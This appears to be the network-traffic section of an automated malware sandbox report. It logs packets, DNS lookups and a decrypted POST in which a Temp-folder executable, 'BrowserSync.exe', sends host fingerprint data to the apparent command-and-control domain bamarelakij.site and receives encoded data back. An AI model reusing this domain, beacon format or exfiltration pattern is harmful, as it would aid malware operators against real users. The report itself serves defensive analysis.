Jan 9, 2025 14:41:26.020308971 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.028997898 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.129148006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.152257919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.152277946 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.152292013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.153119087 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.161073923 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.256386042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.265896082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.266205072 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.266647100 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.266661882 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.279340982 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.375180960 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.383994102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.384011030 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.384025097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.384958982 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.394344091 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.497916937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.510749102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.510762930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.510771990 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.511125088 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.519943953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.615271091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.623341084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.623351097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.623457909 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.623936892 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.634799004 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.734864950 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.741909027 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.741940022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.741950989 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.742594004 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.748483896 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.857948065 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.896049976 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.929512024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.929523945 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.929533005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:26.929960012 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:26.937932014 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.050934076 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.077883959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.077917099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.077927113 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.081229925 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.140657902 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.154392004 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.255887985 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.256907940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.293472052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.293486118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.293616056 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.383840084 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.383909941 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.391817093 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.422837973 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.447334051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.458956003 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.466079950 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.501621962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.561743975 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.567250967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.567468882 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.567480087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.567703962 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.574264050 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.676671028 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.688483000 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.688496113 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.688505888 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.688816071 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.697668076 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.795538902 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.802457094 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.802469015 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.802479982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.802489996 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:27.803139925 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.834582090 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:27.931902885 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:59.802931070 CET	53	49800	1.1.1.1	192.168.2.4
Jan 9, 2025 14:42:03.351258993 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.351404905 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.351608038 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.351696968 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.740154982 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.798156023 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.798877954 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.833911896 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.873847008 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.873867989 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.873881102 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.873893023 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.874232054 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.874296904 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.894294977 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.938060045 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:03.969899893 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:03.995013952 CET	62837	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:42:04.092267990 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.093235970 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.093916893 CET	443	62837	172.64.41.3	192.168.2.4
Jan 9, 2025 14:42:04.096821070 CET	62837	443	192.168.2.4	172.64.41.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 14:40:51.100164890 CET	192.168.2.4	1.1.1.1	0x895c	Standard query (0)	bamarelakij.site	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:00.418306112 CET	192.168.2.4	1.1.1.1	0xc44e	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:00.418962955 CET	192.168.2.4	1.1.1.1	0x840b	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:01.902421951 CET	192.168.2.4	1.1.1.1	0xe2a7	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:01.902573109 CET	192.168.2.4	1.1.1.1	0xf8c1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 9, 2025 14:41:02.203126907 CET	192.168.2.4	1.1.1.1	0x45c8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:02.203263044 CET	192.168.2.4	1.1.1.1	0xe0cc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:03.371119976 CET	192.168.2.4	1.1.1.1	0x29d4	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.371696949 CET	192.168.2.4	1.1.1.1	0x3d93	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:03.379678965 CET	192.168.2.4	1.1.1.1	0x32	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.379803896 CET	192.168.2.4	1.1.1.1	0x25c4	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:03.386569023 CET	192.168.2.4	1.1.1.1	0xe331	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.386768103 CET	192.168.2.4	1.1.1.1	0xa2d4	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:03.407469034 CET	192.168.2.4	1.1.1.1	0x12f8	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.407763958 CET	192.168.2.4	1.1.1.1	0xe14c	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:04.632462978 CET	192.168.2.4	1.1.1.1	0x4067	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.632616997 CET	192.168.2.4	1.1.1.1	0x2027	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:04.632899046 CET	192.168.2.4	1.1.1.1	0x16e2	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.633284092 CET	192.168.2.4	1.1.1.1	0x7700	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:04.729366064 CET	192.168.2.4	1.1.1.1	0xc6b0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.729494095 CET	192.168.2.4	1.1.1.1	0xf23	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 9, 2025 14:41:04.858639002 CET	192.168.2.4	1.1.1.1	0x701a	Standard query (0)	assets2.msn.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.858784914 CET	192.168.2.4	1.1.1.1	0xc3c7	Standard query (0)	assets2.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 14:40:51.113601923 CET	1.1.1.1	192.168.2.4	0x895c	No error (0)	bamarelakij.site		172.67.174.91	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:40:51.113601923 CET	1.1.1.1	192.168.2.4	0x895c	No error (0)	bamarelakij.site		104.21.80.52	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:00.425479889 CET	1.1.1.1	192.168.2.4	0xc44e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:00.426203012 CET	1.1.1.1	192.168.2.4	0x840b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:01.909293890 CET	1.1.1.1	192.168.2.4	0xf8c1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:01.909821987 CET	1.1.1.1	192.168.2.4	0xe2a7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:02.210175037 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:02.210175037 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.97	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:02.210233927 CET	1.1.1.1	192.168.2.4	0xe0cc	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.385615110 CET	1.1.1.1	192.168.2.4	0x29d4	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.385615110 CET	1.1.1.1	192.168.2.4	0x29d4	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.385615110 CET	1.1.1.1	192.168.2.4	0x29d4	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.385615110 CET	1.1.1.1	192.168.2.4	0x29d4	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:03.393163919 CET	1.1.1.1	192.168.2.4	0x32	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.393439054 CET	1.1.1.1	192.168.2.4	0x25c4	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.400027990 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.400840044 CET	1.1.1.1	192.168.2.4	0xa2d4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.420897961 CET	1.1.1.1	192.168.2.4	0xe14c	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:03.421278000 CET	1.1.1.1	192.168.2.4	0x12f8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:04.639784098 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.639784098 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.639816046 CET	1.1.1.1	192.168.2.4	0x2027	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 9, 2025 14:41:04.640748978 CET	1.1.1.1	192.168.2.4	0x16e2	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.640748978 CET	1.1.1.1	192.168.2.4	0x16e2	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.640779018 CET	1.1.1.1	192.168.2.4	0x7700	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 9, 2025 14:41:04.737190008 CET	1.1.1.1	192.168.2.4	0xc6b0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.737190008 CET	1.1.1.1	192.168.2.4	0xc6b0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.737224102 CET	1.1.1.1	192.168.2.4	0xf23	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 9, 2025 14:41:04.750870943 CET	1.1.1.1	192.168.2.4	0x4ceb	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:04.750870943 CET	1.1.1.1	192.168.2.4	0x4ceb	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:41:04.870229959 CET	1.1.1.1	192.168.2.4	0xc3c7	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:41:04.871862888 CET	1.1.1.1	192.168.2.4	0x701a	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 14:42:00.253731012 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 9, 2025 14:42:00.253731012 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bamarelakij.site

clients2.googleusercontent.com

chrome.cloudflare-dns.com

https:

assets.msn.com

sb.scorecardresearch.com

browser.events.data.msn.com

c.msn.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:40:51 UTC	328	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Length: 147 Host: bamarelakij.site
2025-01-09 13:40:51 UTC	147	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 00 00 00 00 00 fe ff ff ff 00 00 00 00 60 00 00 00 97 00 a0 d9 26 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a a0 ce 64 3c 20 95 cf 01 d9 f5 d7 9d 1e 13 ec d9 24 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: `&Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzd< $9e146be9-c76a-4720-bcdb-53011b87bd06
2025-01-09 13:40:52 UTC	836	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 13:40:51 GMT Transfer-Encoding: chunked Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jsUUVaaoWzz2l3iUIfhbEXhTgwnddu5avSGyiAGItmGiBT%2BVqUg2sQZSoAiGC%2FWjIj9Y6LGOex%2BDdvWMm%2BUbG7l6Ju6uo8P%2BfZgOR2ztHyxbCvu1%2BgKfS4WTbmYrtTlQwsN%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d76f0e93436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1613&rtt_var=618&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1111&delivery_rate=1753753&cwnd=184&unsent_bytes=0&cid=8329f95f0eebe869&ts=451&x=0"
2025-01-09 13:40:52 UTC	533	IN	Data Raw: 33 32 66 32 0d 0a 00 00 00 00 4d 3d c5 30 00 00 00 00 1c 8a 00 00 15 00 a0 0a ef 06 42 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae a0 0a 65 06 ab 4b 3d 77 95 29 a1 1d 2e 28 39 b7 b3 39 b0 b6 10 23 b4 36 b2 b9 2e 21 39 b0 3b b2 a9 b7 33 3a bb b0 39 b2 2e 21 39 b0 3b b2 96 21 39 b7 bb b9 b2 39 2e a0 38 38 36 b4 b1 b0 3a b4 b7 37 2e 31 39 b0 3b b2 17 b2 3c b2 15 00 a8 0a 7e 02 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 11 a8 0a 26 24 7c 11 5e 5e 57 32 46 f7 66 c1 0a 2d 12 13 15 00 c9 08 54 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 ae c9 08 50 5c 35 5d 39 a0 03 48 40 8f 2f 8d 6d d3 46 69 11 00 97 07 96 04 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 97 07 6a bf 75 c5 24 b9 dc 47 15 00 d7 0c 62 07 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 ae d7 0c 5e 9e 1b 7e f4 59 a1 a3 2a 4d 01 ae a0 2a Data Ascii: 32f2M=0B&eK=w).(99#6.!9;3:9.!9;!99.886:7.19;<~&&$\|^^W2Ff-T&P\5]9H@/mFi&ju$Gb&^~YM
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: b5 bc 31 99 32 1c 31 31 bb b2 15 00 38 0b ab 08 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 38 0b 65 06 ab 4b 3d 77 95 29 a9 b2 3a 3a b4 37 b3 b9 11 00 14 0d 54 00 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 fd 14 0d d7 f8 35 e6 99 fe 9c 64 15 00 a6 01 fd 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 a6 01 35 45 f7 98 f2 ee 84 03 45 96 ed 48 a6 9d c1 22 15 00 ca 05 3f 0c 0c 00 08 02 1b 16 07 1f 0b 26 d6 d6 11 ca 05 65 06 ab 4b 3d 77 95 29 b9 b2 39 3b b4 b1 b2 17 b1 b7 37 33 15 00 e3 09 cd 09 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e e3 09 65 06 ab 4b 3d 77 95 29 15 17 bb b0 36 36 b2 3a 15 00 ec 0e 74 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 ec 0e fd 42 c7 ce e2 2f 4d 5a 8d 91 dd 1e b6 5c 08 7b 11 00 f2 0e 60 08 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e f2 0e e8 5b 3e c2 a6 5d Data Ascii: 12118&8eK=w)::7T&5d&5EEH"?&eK=w)9;73&NeK=w)66:t&B/MZ\{`&N[>]
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: bc 22 b2 b9 b5 11 00 c9 0a 01 0a 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 fd c9 0a 3b 5b c8 86 64 7a 61 04 15 00 3e 0f cc 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 3e 0f 88 48 7c 22 bf 27 e4 94 f9 9b 66 f2 eb 54 a1 b5 11 00 8f 00 25 04 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 8f 00 15 9d 2c 85 5a 7a 70 02 15 00 f3 05 5d 0b 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 f3 05 65 06 ab 4b 3d 77 95 29 b7 38 b2 39 b0 17 b2 3c b2 11 00 d4 0c 72 00 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e d4 0c 87 80 23 e7 c8 86 8a 65 11 00 9a 0f f2 07 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 9a 0f cc af c8 a7 6b aa 61 25 11 00 9b 08 47 0f 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 9b 08 17 6c e5 2f 58 8b b9 a8 15 00 d1 0c 3a 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 4e d1 0c aa f1 e1 a8 95 c2 ef cf de Data Ascii: "&;[dza>&>H\|"'fT%&,Zzp]&eK=w)89<r&N#e&ka%G&l/X:&N
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: 02 3e 00 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 d1 b7 02 23 2b 61 07 6d 2d c8 85 15 00 d7 01 59 0d 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 d7 01 65 06 ab 4b 3d 77 95 29 a0 36 36 10 a6 b0 b4 36 11 00 fd 0e 02 0e 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e fd 0e 5c a1 1a dc 12 a7 b3 5e 15 00 84 0d aa 0b 0a 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 84 0d 65 06 ab 4b 3d 77 95 29 15 b6 b2 3a b0 32 b0 3a b0 15 15 00 93 06 05 07 0e 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 93 06 65 06 ab 4b 3d 77 95 29 26 b7 b1 b0 36 22 b4 39 b2 b1 3a b7 39 bc 15 00 a1 03 0e 04 1b 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e a1 03 65 06 ab 4b 3d 77 95 29 bb b0 36 36 b2 3a b9 2e 21 b4 3a b1 b7 b4 37 a1 b7 39 b2 2e bb b0 36 36 b2 3a b9 15 00 3f 0f 22 09 0e 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c 3f 0f 65 06 ab 4b Data Ascii: >&#+am-Y&eK=w)666&N\^&eK=w):2:&eK=w)&6"9:9&NeK=w)66:.!:79.66:?"&l?eK
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: 16 07 1f 0b 26 d1 d1 11 ea 0c 27 84 a6 40 69 82 0f c2 11 00 f2 0b bb 05 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e f2 0b 12 3f ba ee 5c 39 13 6c 15 00 c5 03 b2 05 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 c5 03 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 11 00 fa 0a 8f 0c 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 6c fa 0a dc 60 ac 59 99 66 05 db 15 00 f1 0a 69 03 06 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e f1 0a 65 06 ab 4b 3d 77 95 29 a2 3c b7 32 ba b9 15 00 75 05 02 00 1a 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 75 05 65 06 ab 4b 3d 77 95 29 28 39 b7 b3 39 b0 b6 b9 2e ab b4 37 a9 a1 28 2e ab b4 37 a9 a1 28 17 b4 37 b4 15 00 c5 04 8f 07 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae c5 04 65 06 ab 4b 3d 77 95 29 a6 a0 27 a4 23 a2 a9 2a 15 15 00 ef 01 15 04 01 00 08 02 1b 16 07 1f Data Ascii: 